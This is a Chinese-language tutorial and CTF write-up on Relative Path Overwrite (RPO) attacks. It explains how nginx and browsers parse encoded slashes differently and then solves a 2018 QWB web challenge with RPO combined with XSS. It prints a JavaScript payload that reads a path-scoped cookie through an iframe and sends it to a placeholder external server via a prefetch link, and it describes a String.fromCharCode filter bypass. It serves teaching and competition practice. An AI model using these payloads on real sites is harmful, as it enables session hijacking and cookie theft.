RPO攻击方式的探究

*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

2018强网杯有一道web题目，看似简单实则暗藏玄机，很早就放出来但是直到比赛结束分数一直居高不下，考察的重点就是RPO漏洞的利用，你对RPO又了解多少？

什么是RPO？

RPO (Relative Path Overwrite)相对路径覆盖，作为一种相对新型的攻击方式,由 Gareth Heyes在2014年首次提出，利用的是nginx服务器、配置错误的Apache服务器和浏览器之间对URL解析出现的差异，并借助文件中包含的相对路径的css或者js造成跨目录读取css或者js，甚至可以将本身不是css或者js的页面当做css或者js解析，从而触发xss等进一步的攻击手段。

在什么情况下漏洞会触发

触发这个漏洞有两个基本的前提：

①Apache 配置错误导致AllowEncodedSlashes这个选项开启（对Apache来说默认情况下 AllowEncodedSlashes 这个选项是关闭的），或者nginx服务器。

②存在相对路径的js或者css的引用

对第一个前提的理解

我在RPO目录下新建了两个php文件apache.php 和 nginx.php 访问成功就会分别输出Apache 和 Nginx ，还有一个空的test目录。

简单的测试如下：

Apache

Nginx

可以清楚地看到对于完全相似的URL，不同的服务器的处理方式是不同的：Apache服务器默认情况下不认识..%2f这个符号，认为..%2fapache.php是一个文件

    http://localhost/RPO/test/..%2fapache.php  =>   ..%2fapache.php   ????  (=_=)|||

所以没有找到。

但是Nginx不同，它能自动地把..%2f进行url解码，转化为../ 这个符号对于服务器来说就是向前跳转一个目录，在它眼中我们请求的就是

    http://localhost/RPO/test/../nginx.php => http://localhost/RPO/nginx.php

于是就访问到了我们RPO目录下的nginx.php.

两个前提结合起来会发生什么？

①我们可以跨目录读取js

实验环境：

RPO 目录下创建了index.php f访问之后就会加载本目录下的a.js,注意这个a.js前面没有/（斜杠）代表是相对路径

文件内容如下：

  <html>
        <head></head>
        <body>
            <script src=a.js></script>
        </body>
    </html>
    <?php
    echo "js in test folder";
    ?>

与index.php同目录下的test文件夹中有a.js,一旦被调用就会弹出对话框

    alert("Read file successfully");

我们访问 localhost/RPO/test/..%2findex.php

惊奇的发现本来只能读取和自己在同一目录下的a.js的index.php居然成功访问到了test目录下的a.js

(css也是一样的原理，不再赘述)

下面我们来分析一下上面的弹窗究竟是怎么实现的：

1.我们向服务器提交我们想请求的URL

http://localhost/RPO/test/..%2findex.php

2.（久经沙场，善于识破伪装的）服务器会把..%2f自动进行URL解码，所以实际上服务器端看到你请求的URL是下面的样子：

http://localhost/RPO/test/../index.php

3.我们知道../ 在URL中会被理解成上一层目录，所以服务器实际上认为你访问的是下面的URL，并把index.php的内容返回给（天真的）浏览器

http://localhost/RPO/index.php

4.接下来浏览器的工作就是根据URL的路径处理index.php中引用的使用相对地址的脚本，可是万万没想到，浏览器它并不认识..%2f（惊恐脸，说实话，估计它自己都不相信，在它天真的眼中一切都是没有伪装的，它看不破%2f的伪装),于是URL在它眼里依旧是那时（青涩的）模样：

http://localhost/RPO/test/..%2findex.php

5.此时无知的浏览器已经把..%2findex.php当成了一个文件，可它还是严格按照脚本的要求加载当前目录下的a.js文件，而对它来说现在的当前目录已变成了test，自然而然test目录下的a.js就被成功加载了。

可是利用价值在哪？

有的人可能会问了，如果要利用这个漏洞（比如说想实现xss），我们必须要让页面引入我们的攻击脚本，但是是个人都明白，真实环境中网站是人家写的，我们没法控制人家的js脚本在哪，更没法把我们想要的语句添加进人家的脚本里。

一点都没有错，于是RPO真正的利用点来了！！！！前方高能….

②我们可以将服务器返回的内容按照js脚本的方式解析

等等，你没有听错！！服务器给你什么你都能当做js，而且因为是外部引用js，按照规定我们的js代码甚至不需要标签，那岂不是美滋滋???（但是这里有一个限制，就是必须是使用的URL_WRITE的网站）

可能有些童鞋不知道什么是URL重写，为了不影响下面的分析，我简单的介绍一下。

介绍URL重写之前先介绍两个概念：

动态URL:

形如：http://www.xxx.com/news/index.asp?id=123

（伪）静态URL：

形如：http://www.123.com/news/123.html （甚至可以是任何想要的形式）

URL重写在行业内又被形象地称为”URL路由”,就相当于是一个反向代理，你发送给服务器的URL并不会直接被解析，而是要先经过一个中转站，将静态URL重新组合成服务器熟悉的动态URL形式，再对其进行解析。那为什么要这么做呢？因为（伪）静态的URL更有利于网站的优化。

简单的演示：

现在我配置好了apache的URL_REWRITE

模拟攻击过程

index.php
    <!DOCTYPE html>
    <html>
        <head>RPO attack test</head>
        <body>
            <script src="3.js"></script>
        </body>
    </html>
    <?php
    error_reporting(E_ALL^E_NOTICE^E_WARNING);
    if($_GET['page'])
    {
        $a=$_GET['page'];
        Header('Location:http://localhost/RPO/test/'."$a".'.html');
    }
    ?>

3.html

alert("RPO attack");

可以看到我在index.php中引入了当前页面中的a.js,3.html 中写入了一个没有<script>标签的JS语句

现在我们访问下面的URL

可以看到我们成功将3.html的文件中的没有<script>标签的js语句解析，攻击完成。

我来给大家解释一下上面的过程：

1.你向服务器请求URL:

http://localhost/RPO/index.php/page/3/..%2f..%2f..%2findex.php

2.服务器看到的是：

http://localhost/RPO/index.php/page/3/../../../index.php

3.服务器返回index.php页面给浏览器

http://localhost/RPO/index.php

4.浏览器加载index.php文件，并加载同目录下的3.js，但是浏览器看到的URL是：

http://localhost/RPO/index.php/page/3/..%2f..%2f..%2findex.php

5.浏览器认为..%2f..%2f..%2findex.php是一个页面，自然而然加载的URL就是:

http://localhost/RPO/index.php/page/3/3.js

6.由于我们的请求是由<script src=…>生成的，所以返回给我们的东西都会被浏览器当做是js解析。

（我之前对这个东西也是糊里糊涂的，于是特地请教了出题人：由于 http://localhost/RPO/index.php/page/3/ 是一个能够请求的页面所以其之后的3.js至少会交给/3处理，就像 http://localhost/RPO/index.php/page/3/ 的内容会被index.php处理一样然后/3返回给script标签。这就是为什么3页面会被当做js解析。）

进入实战

2018年的强网杯有一道bendawang师傅出的web题目用到了RPO的攻击手段与xss相结合，个人认为非常经典特地拿出来跟大家分享一下（RPO 的基础部分之前我已近讲过了，在此不再赘述，这里就重点讲讲RPO的利用）：

分析

题目给了一个简单的分享平台

左侧的write界面可以写入用户自定义的内容

经过测试在write里面写的任何关于xss的payload都会被完全转义之后显示在overview中，比如我们写一个经典的payload

查看源代码就能发现所有的标签都被过滤了，根本不存在xss

Rexport 界面是一个提交url漏洞的地方，我测试发现这里面输入的链接会被请求，也就是说这里面存在一个xssbot,当然题目也提示了使用的是phantomjs2.1版本，但是奇怪的是始终收不到bot的cookie（因为overview界面的完全过滤，这里又收不到cookie，再加上这个提示还以为是出题人挖了phantomjs的洞绕过了httponly，怼了n长时间后来与出题人交流得知这个hint的目的是让比赛选手注意环境的差异在用phantomjs本地仔细测试…..晕)

既然bot直接访问是没有cookie的，自然就想到使用Js读取，但是问题在于没法在report页面植入js，只能用别的地方的js，允许我们自定义的只有write页面，但是用于浏览写入内容的网页http://xx.xx.xx.xx:20000/index.php/view/article/xxxx中的js已经被转义，标签失效。可我们只有让这个页面被当做js解析才能运行js，自然想到了改变页面解析方式的漏洞RPO。

由于RPO是要利用相对路径攻击的，于是快速翻阅了一下网站的源码，被我在index.php页面找到这样一个相对路径js的引用

我的目的是让服务器认为我请求的是index.php,接下来当浏览器去解析index.php中的相对路径的js的时候最终解释到的是http://39.107.33.96:20000/index.php/view/article/xxxx/static/js/jquery.min.js

(如果你奇怪为什么index.php文件后面还有目录结构，那请你回看我上面的原理解释，这里由于开发框架的原因做了URL_REWRITE)

构造payload(下面的md5自己写脚本跑一下就行了,由于不是重点不详细说明):

这样我们就成功的能使bot访问我们写好js的页面了（由于过滤了引号等我们采用String.fromCharCode绕过）

其实这里还有一个坑点：

由上面的图可知，write页面有两个输入框，我们的payload不能写在标题栏，因为标题栏会自动为我们的内容加上<h>标签，因为js没有css的容错性，遇到无法解析的内容就会停止工作，因此攻击会失败。

页面内容就是让bot带着自己的cookie访问我的服务器

成功返回给我cookie

虽然没得到flag但是得到了重要提示

意思是让我们得到/QWB_f14g/QWB/这个目录的cookie

（这里涉及到了cookie 的路径的问题，简单的讲就是当你访问一个网站的时候，只有当网站目录路径是你cookie路径的子路径的时候浏览器才会把cookie给服务器，正是所谓的父传子子传孙)

要实现这个功能需要动态创建iframe 标签去加载这个目录，然后bot访问得到cookie，在带着这个cookie去访问我们自己的服务器，具体的脚本借鉴于2017年国赛的一道题的wp

    var iframe = document.createElement("iframe");
    iframe.src = "/QWB_f14g/QWB/";
    iframe.id = "frame";
    document.body.appendChild(iframe);
    iframe.onload = function (){
         var c = document.getElementById('frame').contentWindow.document.cookie;
        var n0t = document.createElement("link");
        n0t.setAttribute("rel", "prefetch");
        n0t.setAttribute("href", "http://xx.xx.xx.xx?flag=" + c);
        document.head.appendChild(n0t);
    }

和上面一样，我们要利用的页面过滤了引号如图

使用常见的String.fromCharCode()进行编码绕过即可

get flag

解码

当然我在网上无意间看到了另一种解法，思路也很清晰，这里给出链接

https://mp.weixin.qq.com/s/xEBr7JxbSTt11oiBsgc3uw

总结：第一次投稿，写的可能不好，还请各位师傅多多包涵。通过写这篇文章我也发现漏洞的复现并不是一件容易的事，过程中我也请教了很多次bendawang师傅，师傅总能细心的指导，在此鸣谢。一直相信一句话：只有汗水才能让想当然变成理所当然。